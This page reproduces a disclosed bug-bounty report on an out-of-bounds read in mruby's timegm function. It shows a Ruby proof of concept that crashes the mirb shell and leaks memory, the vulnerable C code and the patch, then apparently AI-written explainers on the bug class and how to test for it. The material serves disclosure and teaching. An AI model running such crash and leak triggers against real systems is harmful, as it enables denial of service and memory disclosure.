Skip to content
Memory corruption Disclosed report Intermediate

Memory disclosure in timegm

The timegm function in mruby's time extension does not validate the month field, allowing an out-of-bounds read when the month is greater than 11. An attacker can crash the interpreter or disclose memory contents.

volc Follow

Originally disclosed on HackerOne

Bounty$1,000 Low View original
  • Triaged in 14 days
  • Fixed in 24 days
  • Paid in 41 days
  • Disclosed after 42 days

An attacker may disclose memory or/and crash mirb.

PoC

Ruby
@a = ''
for i in 0..50 do
  t = Time.new(1970, 12 + i + 1).to_i - Time.new(1970, 12 + i).to_i
  @a << t.to_s(16)
  @a << " "
end

@a

Time.new(1970, 0x10000)

Output:

Shell
$ ./bin/mruby-engine-mirb < timgm.rb 
mirb - Embeddable Interactive Ruby Shell

> * * * * *  => 0..50
>  => nil
>  => "28de80 28de80 263b80 28de80 278d00 28de80 278d00 28de80 28de80 278d00 28de80 278d00 28de80 49dab380 ee655600 feabe80 98ee00 9facec80 97bc0380 c22e3e00 5b9a3280 c90abe00 4274900 6e4eec80 0 0 0 0 0 85430f00 b883c900 cb470380 defdb180 5c70380 9fa10f00 fca10f00 65153180 2d94ec80 70eca680 23bd5500 a012600 0 0 0 0 17e78500 0 54600 0 c3ae0f80 0 "
>  => nil
> Segmentation fault

Explanation

The vulnerability is located in the timegm function (ext/mruby_engine/mruby-time/src/time.c). The variable tm->tm_mon is controlled by the attacker while it must be lower than 12. An out-of-bound access occurs if tm->tm_mon is greater than 11, and the memory after the static array ndays is read.

C
static time_t
timegm(struct tm *tm)
{
  static const unsigned int ndays[2][12] = {
    {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31},
    {31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}
  };
  time_t r = 0;
  int i;
  unsigned int *nday = (unsigned int*) ndays[is_leapyear(tm->tm_year+1900)];

  for (i = 70; i < tm->tm_year; ++i)
    r += is_leapyear(i+1900) ? 366*24*60*60 : 365*24*60*60;
  for (i = 0; i < tm->tm_mon; ++i)
    r += nday[i] * 24 * 60 * 60;

Impact

An attacker may:

  • crash mirb
  • read parts of the memory, which can help to build a reliable exploit thanks to an additional vulnerability

Patch

Diff
diff --git a/ext/mruby_engine/mruby-time/src/time.c b/ext/mruby_engine/mruby-time/src/time.c
index 8884a5d..ce21043 100644
--- a/ext/mruby_engine/mruby-time/src/time.c
+++ b/ext/mruby_engine/mruby-time/src/time.c
@@ -130,7 +130,7 @@ timegm(struct tm *tm)
 
   for (i = 70; i < tm->tm_year; ++i)
     r += is_leapyear(i+1900) ? 366*24*60*60 : 365*24*60*60;
-  for (i = 0; i < tm->tm_mon; ++i)
+  for (i = 0; i < tm->tm_mon && i < 12; ++i)
     r += nday[i] * 24 * 60 * 60;
   r += (tm->tm_mday - 1) * 24 * 60 * 60;
   r += tm->tm_hour * 60 * 60;

The original report as published on HackerOne, by volc. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 5 min read.

What the report shows

The target is the mirb interactive shell shipped with the mruby engine in the Shopify Scripts program. The researcher found that a Time object built with an out-of-range month value can make mirb read past the end of a static array and then crash.

The proof of concept is a short Ruby script. It first builds a string of hexadecimal values by subtracting consecutive Time values, then constructs a Time with a month of 0x10000:

Ruby
@a = ''
for i in 0..50 do
  t = Time.new(1970, 12 + i + 1).to_i - Time.new(1970, 12 + i).to_i
  @a << t.to_s(16)
  @a << " "
end

@a

Time.new(1970, 0x10000)

The script is fed to the engine binary on standard input:

Shell
$ ./bin/mruby-engine-mirb < timgm.rb

The session prints the shell banner, echoes each expression and its result, and ends with a segmentation fault.

Shell
mirb - Embeddable Interactive Ruby Shell

> * * * * *  => 0..50
>  => nil
>  => "28de80 28de80 263b80 28de80 278d00 28de80 278d00 28de80 28de80 278d00 28de80 278d00 28de80 49dab380 ee655600 feabe80 98ee00 9facec80 97bc0380 c22e3e00 5b9a3280 c90abe00 4274900 6e4eec80 0 0 0 0 0 85430f00 b883c900 cb470380 defdb180 5c70380 9fa10f00 fca10f00 65153180 2d94ec80 70eca680 23bd5500 a012600 0 0 0 0 17e78500 0 54600 0 c3ae0f80 0 "
>  => nil
> Segmentation fault

Root cause

The fault is in the timegm function in ext/mruby_engine/mruby-time/src/time.c. The month field tm->tm_mon comes from attacker-controlled input, but the code assumes it is below 12. The function indexes a static two-by-twelve array of month lengths, ndays, with a loop bounded only by tm->tm_mon:

C
static time_t
timegm(struct tm *tm)
{
  static const unsigned int ndays[2][12] = {
    {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31},
    {31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}
  };
  time_t r = 0;
  int i;
  unsigned int *nday = (unsigned int*) ndays[is_leapyear(tm->tm_year+1900)];

  for (i = 70; i < tm->tm_year; ++i)
    r += is_leapyear(i+1900) ? 366*24*60*60 : 365*24*60*60;
  for (i = 0; i < tm->tm_mon; ++i)
    r += nday[i] * 24 * 60 * 60;

When tm->tm_mon is greater than 11, the loop reads memory beyond the end of ndays. The values read are multiplied and accumulated into the result.

Impact

According to the report, an attacker may crash mirb and read parts of memory. The researcher notes that the disclosure can help build a reliable exploit when combined with an additional vulnerability. The report does not describe any further exploitation on its own.

How this kind of bug works

This is an out-of-bounds read caused by a missing range check on an index. A value that arrives from outside the program, here a month number, is used directly as a loop bound or array index. The code's author assumed the value would always be in the valid range, so no validation was written. When the value exceeds the array length, the loop walks into adjacent memory and treats whatever it finds as array elements.

Reads like this are dangerous for two reasons. First, the out-of-range access can cross into an unmapped page and crash the process, which is a denial of service. Second, the data read is often returned to the caller, as it is here through the computed time value, which leaks memory contents. Leaked pointers and layout information make other bugs, such as a write primitive, far easier to turn into a reliable exploit. The same pattern appears with negative indices, integer overflow in the bound, and signed/unsigned confusion.

Defences are straightforward: validate the input range before use, clamp loop bounds to the array size, and use bounds-checked containers or compiler instrumentation such as AddressSanitizer during testing to catch the access.

How to test for it

Look for code paths where a numeric field from user input, a file format, a protocol message or a scripting API is used as an array index or loop bound. Calendar and date handling, colour and channel values, protocol version numbers, and enum-like fields are common candidates.

  1. Identify the input that reaches the index. In an interpreter or library, this is often a constructor argument or a setter.
  2. Send values at and just past the documented limit: the maximum valid value, the maximum plus one, a large power of two, and a negative value.
  3. Watch for a crash, an abnormal exit, or output that contains data unrelated to the input.
  4. If the value is echoed back in a result, compare results for in-range and out-of-range inputs; unexpected variation suggests memory is being read.
  5. Reproduce under a sanitiser build where possible, since a clean run without instrumentation can hide a small overread.

A positive result is a crash, a sanitiser report naming the array and the access, or returned data that clearly comes from outside the intended buffer. Common false positives are values that are rejected earlier by a different check, crashes caused by unrelated resource exhaustion, and outputs that look strange but are deterministic and derived only from the input.

How it is fixed

The report's patch adds a second condition to the loop so it stops at the array boundary:

Diff
diff --git a/ext/mruby_engine/mruby-time/src/time.c b/ext/mruby_engine/mruby-time/src/time.c
index 8884a5d..ce21043 100644
--- a/ext/mruby_engine/mruby-time/src/time.c
+++ b/ext/mruby_engine/mruby-time/src/time.c
@@ -130,7 +130,7 @@ timegm(struct tm *tm)

   for (i = 70; i < tm->tm_year; ++i)
     r += is_leapyear(i+1900) ? 366*24*60*60 : 365*24*60*60;
-  for (i = 0; i < tm->tm_mon; ++i)
+  for (i = 0; i < tm->tm_mon && i < 12; ++i)
     r += nday[i] * 24 * 60 * 60;
   r += (tm->tm_mday - 1) * 24 * 60 * 60;
   r += tm->tm_hour * 60 * 60;

The patch keeps the bound check in the loop as the fix.

Hunting notes

This class of bug hides in parsers and interpreters that expose low-level structures to a scripting layer, in date and time libraries, and in any code that indexes a fixed table with a value taken from a message. Recon signals include C extensions with static lookup tables, functions that take a struct field straight into a loop, and APIs that accept numeric arguments without documented limits.

To get a report accepted, show a minimal reproduction, the exact input, the observed crash or leaked output, and the line of code responsible. Point to the array and the index that exceeds it, and explain the impact in the report's own terms: crash and memory disclosure, with further exploitation only where you can demonstrate it.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 8 min read.

What happened, in plain words

This report is about a small interactive tool called mirb, a shell that lets you type Ruby code and see the result straight away. It ships with the mruby engine, a lightweight version of the Ruby programming language, and was part of the Shopify Scripts program. The researcher found that if you ask mirb to build a date with a nonsense month number, the program reads memory it should not touch and then crashes.

To follow this you only need two ideas. A program is a set of instructions a computer runs. Memory is the computer's working space, where the program keeps its data while it runs. Programs are supposed to stay inside the parts of memory that belong to them. When one reads past the end of its own data, that is a bug, and this report is about exactly that.

The proof of concept is a short Ruby script. It first builds a string of hexadecimal values (base-16 numbers) by subtracting consecutive Time values, then creates a Time with a month of 0x10000:

Ruby
@a = ''
for i in 0..50 do
  t = Time.new(1970, 12 + i + 1).to_i - Time.new(1970, 12 + i).to_i
  @a << t.to_s(16)
  @a << " "
end

@a

Time.new(1970, 0x10000)

Line by line:

  1. @a = '' creates an empty piece of text, called a string, stored in a variable named @a.
  2. for i in 0..50 do starts a loop that runs 51 times, with i counting from 0 to 50.
  3. t = Time.new(1970, 12 + i + 1).to_i - Time.new(1970, 12 + i).to_i builds two dates one month apart and subtracts them, giving the number of seconds between them.
  4. @a << t.to_s(16) converts that number to hexadecimal text and appends it to the string.
  5. @a << " " adds a space, so the values are separated.
  6. @a on its own asks the shell to show the string.
  7. Time.new(1970, 0x10000) is the important line: it asks for a date in the year 1970 with month number 0x10000, which is 65,536 in ordinary numbers. A month should be between 1 and 12, so this is far outside the allowed range.

The script is fed to the engine binary on standard input, meaning the file is piped into the program rather than typed by hand:

Shell
$ ./bin/mruby-engine-mirb < timgm.rb

The session prints the shell banner, echoes each expression and its result, and ends with a segmentation fault. A segmentation fault is the operating system stopping a program because it tried to access memory it is not allowed to use.

Root cause

The fault is in the timegm function in ext/mruby_engine/mruby-time/src/time.c. A function is a named block of code that does one job. This one converts a date into a number of seconds. The month field tm->tm_mon comes from input the attacker controls, but the code assumes it is below 12. The function looks up month lengths in a fixed table called ndays, which has two rows of twelve numbers, one row for ordinary years and one for leap years. The loop that walks the table is bounded only by tm->tm_mon:

C
static time_t
timegm(struct tm *tm)
{
  static const unsigned int ndays[2][12] = {
    {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31},
    {31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}
  };
  time_t r = 0;
  int i;
  unsigned int *nday = (unsigned int*) ndays[is_leapyear(tm->tm_year+1900)];

  for (i = 70; i < tm->tm_year; ++i)
    r += is_leapyear(i+1900) ? 366*24*60*60 : 365*24*60*60;
  for (i = 0; i < tm->tm_mon; ++i)
    r += nday[i] * 24 * 60 * 60;

When tm->tm_mon is greater than 11, the loop keeps going past the end of ndays and reads whatever sits next to it in memory. Those values are multiplied and added into the result. An out-of-bounds read means reading memory outside the area a program meant to use, like reading past the last page of a book into whatever is printed on the next sheet.

Impact

According to the report, an attacker may crash mirb and read parts of memory. The researcher notes that the disclosure can help build a reliable exploit when combined with an additional vulnerability. An exploit is a crafted input that abuses a bug to make a program do something it should not. The report does not describe any further exploitation on its own.

In general, how this kind of bug works

This is an out-of-bounds read caused by a missing range check on an index. An index is a position number used to pick an item from a list or table. A value that arrives from outside the program, here a month number, is used directly as a loop bound or array index. The code's author assumed the value would always be in the valid range, so no validation was written. When the value exceeds the array length, the loop walks into adjacent memory and treats whatever it finds as array elements.

Reads like this are dangerous for two reasons. First, the out-of-range access can cross into an unmapped page and crash the process, which is a denial of service: the program stops working for its users. Second, the data read is often returned to the caller, as it is here through the computed time value, which leaks memory contents. Leaked pointers and layout information make other bugs, such as a write primitive, far easier to turn into a reliable exploit. The same pattern appears with negative indices, integer overflow in the bound, and signed/unsigned confusion.

Defences are straightforward: validate the input range before use, clamp loop bounds to the array size, and use bounds-checked containers or compiler instrumentation such as AddressSanitizer during testing to catch the access.

In general, how to test for it

Look for code paths where a numeric field from user input, a file format, a protocol message or a scripting API is used as an array index or loop bound. Calendar and date handling, colour and channel values, protocol version numbers, and enum-like fields are common candidates.

  1. Identify the input that reaches the index. In an interpreter or library, this is often a constructor argument or a setter.
  2. Send values at and just past the documented limit: the maximum valid value, the maximum plus one, a large power of two, and a negative value.
  3. Watch for a crash, an abnormal exit, or output that contains data unrelated to the input.
  4. If the value is echoed back in a result, compare results for in-range and out-of-range inputs; unexpected variation suggests memory is being read.
  5. Reproduce under a sanitiser build where possible, since a clean run without instrumentation can hide a small overread.

A positive result is a crash, a sanitiser report naming the array and the access, or returned data that clearly comes from outside the intended buffer. Common false positives are values that are rejected earlier by a different check, crashes caused by unrelated resource exhaustion, and outputs that look strange but are deterministic and derived only from the input.

How it is fixed

The report's patch adds a second condition to the loop so it stops at the array boundary:

Diff
diff --git a/ext/mruby_engine/mruby-time/src/time.c b/ext/mruby_engine/mruby-time/src/time.c
index 8884a5d..ce21043 100644
--- a/ext/mruby_engine/mruby-time/src/time.c
+++ b/ext/mruby_engine/mruby-time/src/time.c
@@ -130,7 +130,7 @@ timegm(struct tm *tm)

   for (i = 70; i < tm->tm_year; ++i)
     r += is_leapyear(i+1900) ? 366*24*60*60 : 365*24*60*60;
-  for (i = 0; i < tm->tm_mon; ++i)
+  for (i = 0; i < tm->tm_mon && i < 12; ++i)
     r += nday[i] * 24 * 60 * 60;
   r += (tm->tm_mday - 1) * 24 * 60 * 60;
   r += tm->tm_hour * 60 * 60;

The patch keeps the bound check in the loop as the fix.

In general, hunting notes

This class of bug hides in parsers and interpreters that expose low-level structures to a scripting layer, in date and time libraries, and in any code that indexes a fixed table with a value taken from a message. Recon signals include C extensions with static lookup tables, functions that take a struct field straight into a loop, and APIs that accept numeric arguments without documented limits.

To get a report accepted, show a minimal reproduction, the exact input, the observed crash or leaked output, and the line of code responsible. Point to the array and the index that exceeds it, and explain the impact in the report's own terms: crash and memory disclosure, with further exploitation only where you can demonstrate it.

Glossary

  • Program: a set of instructions a computer runs.
  • Memory: the computer's working space where a running program keeps its data.
  • Ruby: a programming language; mruby is a lightweight version of it.
  • mirb: the interactive Ruby shell shipped with the mruby engine, where you type code and see results.
  • String: a piece of text stored in a variable.
  • Hexadecimal: a way of writing numbers in base 16, often used to show memory values.
  • Segmentation fault: the operating system stopping a program because it accessed memory it is not allowed to use.
  • Function: a named block of code that does one job.
  • Array: a numbered list of values stored together in memory.
  • Index: a position number used to pick an item from an array.
  • Out-of-bounds read: reading memory outside the area a program meant to use.
  • Exploit: a crafted input that abuses a bug to make a program do something it should not.
  • Denial of service: making a program or service stop working for its users.
  • Sanitiser: a tool added to a program during testing that detects memory errors such as out-of-bounds access.
  • Patch: a change to source code that fixes a bug.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.